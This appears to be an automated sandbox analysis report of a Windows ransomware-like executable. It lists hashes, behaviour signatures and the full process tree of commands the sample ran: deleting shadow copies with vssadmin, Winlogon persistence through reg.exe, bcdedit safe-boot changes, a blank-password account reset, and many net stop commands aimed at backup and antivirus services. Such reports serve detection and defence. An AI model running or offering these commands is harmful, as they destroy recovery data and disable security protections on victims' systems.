Resubmissions

14-12-2023 12:07

231214-pajw2sehe8 10

14-12-2023 12:03

231214-n8hk7sddfj 10

Analysis

  • max time kernel
    3s
  • max time network
    5s
  • platform
    windows7_x64
  • resource
    win7-20231130-en
  • resource tags

    arch:x64arch:x86image:win7-20231130-enlocale:en-usos:windows7-x64system
  • submitted
    14-12-2023 12:03

Errors

Reason
Machine shutdown

General

  • Target

    c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

  • Size

    87KB

  • MD5

    d6d956267a268c9dcf48445629d2803e

  • SHA1

    cc0feae505dad9c140dd21d1b40b518d8e61b3a4

  • SHA256

    c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850

  • SHA512

    e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee

  • SSDEEP

    1536:OXMLuZQG3KJ3QaIH9shR4fZcvr4C9u3MTIdD9mtthd9JovrgmqhtvM4CoLT6QPbc:gMLuZraJ3a0ehcvv9sM+9mtthd0gmWkr

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Windows security modification 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 14 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
    "C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Windows security modification
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\system32\shutdown.exe
      "shutdown.exe" /r /t 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Windows\system32\net.exe
      "net.exe" user Admin ""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2000
    • C:\Windows\system32\reg.exe
      "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe","C:\Windows\system32\userinit.exe" /f
      2⤵
      • Modifies WinLogon for persistence
      PID:1532
    • C:\Windows\system32\bcdedit.exe
      "bcdedit.exe" /set {default} safeboot network
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1080
    • C:\Windows\system32\reg.exe
      "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
      2⤵
      • Modifies registry key
      PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
        PID:1604
      • C:\Windows\system32\vssadmin.exe
        "vssadmin.exe" Delete Shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2888
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
        2⤵
          PID:952
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" Delete Shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:1368
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:1404
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:1264
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:2936
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:1184
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:776
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:336
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:684
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:324
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:2076
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:2324
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
          2⤵
          • Interacts with shadow copies
          PID:2400
        • C:\Windows\system32\vssadmin.exe
          "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
          2⤵
          • Interacts with shadow copies
          PID:1900
        • C:\Windows\system32\taskkill.exe
          "taskkill.exe" /IM mydesktopservice.exe /F
          2⤵
          • Kills process with taskkill
          PID:2340
        • C:\Windows\system32\taskkill.exe
          "taskkill.exe" /IM mydesktopqos.exe /F
          2⤵
          • Kills process with taskkill
          PID:2060
        • C:\Windows\system32\taskkill.exe
          "taskkill.exe" /IM mspub.exe /F
          2⤵
          • Kills process with taskkill
          PID:2204
        • C:\Windows\system32\sc.exe
          "sc.exe" config SstpSvc start= disabled
          2⤵
          • Launches sc.exe
          PID:2052
        • C:\Windows\system32\sc.exe
          "sc.exe" config SQLWriter start= disabled
          2⤵
          • Launches sc.exe
          PID:2084
        • C:\Windows\system32\sc.exe
          "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
          2⤵
          • Launches sc.exe
          PID:3032
        • C:\Windows\system32\sc.exe
          "sc.exe" config SQLTELEMETRY start= disabled
          2⤵
          • Launches sc.exe
          PID:3040
        • C:\Windows\system32\net.exe
          "net.exe" stop sophos /y
          2⤵
            PID:2568
          • C:\Windows\system32\net.exe
            "net.exe" stop CAARCUpdateSvc /y
            2⤵
              PID:3056
            • C:\Windows\system32\net.exe
              "net.exe" stop CASAD2DWebSvc /y
              2⤵
                PID:1644
              • C:\Windows\system32\net.exe
                "net.exe" stop AcronisAgent /y
                2⤵
                  PID:1692
                • C:\Windows\system32\net.exe
                  "net.exe" stop AcrSch2Svc /y
                  2⤵
                    PID:2176
                  • C:\Windows\system32\net.exe
                    "net.exe" stop BackupExecRPCService /y
                    2⤵
                      PID:2996
                    • C:\Windows\system32\net.exe
                      "net.exe" stop BackupExecManagementService /y
                      2⤵
                        PID:2844
                      • C:\Windows\system32\net.exe
                        "net.exe" stop BackupExecJobEngine /y
                        2⤵
                          PID:2532
                        • C:\Windows\system32\net.exe
                          "net.exe" stop BackupExecDiveciMediaService /y
                          2⤵
                            PID:2824
                          • C:\Windows\system32\net.exe
                            "net.exe" stop BackupExecAgentBrowser /y
                            2⤵
                              PID:2752
                            • C:\Windows\system32\net.exe
                              "net.exe" stop BackupExecAgentAccelerator /y
                              2⤵
                                PID:2728
                              • C:\Windows\system32\net.exe
                                "net.exe" stop BackupExecVSSProvider /y
                                2⤵
                                  PID:2356
                                • C:\Windows\system32\net.exe
                                  "net.exe" stop PDVFSService /y
                                  2⤵
                                    PID:2868
                                  • C:\Windows\system32\net.exe
                                    "net.exe" stop veeam /y
                                    2⤵
                                      PID:2876
                                    • C:\Windows\system32\net.exe
                                      "net.exe" stop VeeamNFSSvc /y
                                      2⤵
                                        PID:2732
                                      • C:\Windows\system32\net.exe
                                        "net.exe" stop VeeamDeploymentService /y
                                        2⤵
                                          PID:1284
                                        • C:\Windows\system32\net.exe
                                          "net.exe" stop VeeamTransportSvc /y
                                          2⤵
                                            PID:1760
                                          • C:\Windows\system32\net.exe
                                            "net.exe" stop VSNAPVSS /y
                                            2⤵
                                              PID:2472
                                            • C:\Windows\system32\net.exe
                                              "net.exe" stop stc_raw_agent /y
                                              2⤵
                                                PID:2256
                                              • C:\Windows\system32\net.exe
                                                "net.exe" stop zhudongfangyu /y
                                                2⤵
                                                  PID:2056
                                                • C:\Windows\system32\net.exe
                                                  "net.exe" stop YooIT /y
                                                  2⤵
                                                    PID:2296
                                                  • C:\Windows\system32\net.exe
                                                    "net.exe" stop YooBackup /y
                                                    2⤵
                                                      PID:2168
                                                    • C:\Windows\system32\net.exe
                                                      "net.exe" stop QBCFMonitorService /y
                                                      2⤵
                                                        PID:3012
                                                      • C:\Windows\system32\net.exe
                                                        "net.exe" stop Intuit.QuickBooks.FCS /y
                                                        2⤵
                                                          PID:2864
                                                        • C:\Windows\system32\net.exe
                                                          "net.exe" stop QBIDPService /y
                                                          2⤵
                                                            PID:2644
                                                          • C:\Windows\system32\net.exe
                                                            "net.exe" stop QBFCService /y
                                                            2⤵
                                                              PID:2544
                                                            • C:\Windows\system32\net.exe
                                                              "net.exe" stop RTVscan /y
                                                              2⤵
                                                                PID:2520
                                                              • C:\Windows\system32\net.exe
                                                                "net.exe" stop SavRoam /y
                                                                2⤵
                                                                  PID:2500
                                                                • C:\Windows\system32\net.exe
                                                                  "net.exe" stop ccSetMgr /y
                                                                  2⤵
                                                                    PID:2484
                                                                  • C:\Windows\system32\net.exe
                                                                    "net.exe" stop ccEvtMgr /y
                                                                    2⤵
                                                                      PID:2464
                                                                    • C:\Windows\system32\net.exe
                                                                      "net.exe" stop DefWatch /y
                                                                      2⤵
                                                                        PID:2736
                                                                      • C:\Windows\system32\net.exe
                                                                        "net.exe" stop NetBackup BMR MTFTP Service /y
                                                                        2⤵
                                                                          PID:2524
                                                                        • C:\Windows\system32\net.exe
                                                                          "net.exe" stop BMR Boot Service /y
                                                                          2⤵
                                                                            PID:2516
                                                                          • C:\Windows\system32\net.exe
                                                                            "net.exe" stop mfewc /y
                                                                            2⤵
                                                                              PID:2648
                                                                            • C:\Windows\system32\net.exe
                                                                              "net.exe" stop McAfeeDLPAgentService /y
                                                                              2⤵
                                                                                PID:2640
                                                                              • C:\Windows\system32\net.exe
                                                                                "net.exe" stop avpsus /y
                                                                                2⤵
                                                                                  PID:2508
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user Admin ""
                                                                                1⤵
                                                                                  PID:2860
                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                  "LogonUI.exe" /flags:0x0
                                                                                  1⤵
                                                                                    PID:2680
                                                                                  • C:\Windows\system32\LogonUI.exe
                                                                                    "LogonUI.exe" /flags:0x1
                                                                                    1⤵
                                                                                      PID:1540

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

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                                                                                    Downloads

                                                                                    • memory/1540-5-0x0000000002B30000-0x0000000002B31000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2680-3-0x0000000002E10000-0x0000000002E11000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2976-0-0x0000000001350000-0x000000000136C000-memory.dmp

                                                                                      Filesize

                                                                                      112KB

                                                                                    • memory/2976-1-0x000007FEF5F90000-0x000007FEF697C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB

                                                                                    • memory/2976-2-0x000000001AE30000-0x000000001AEB0000-memory.dmp

                                                                                      Filesize

                                                                                      512KB

                                                                                    • memory/2976-4-0x000007FEF5F90000-0x000007FEF697C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB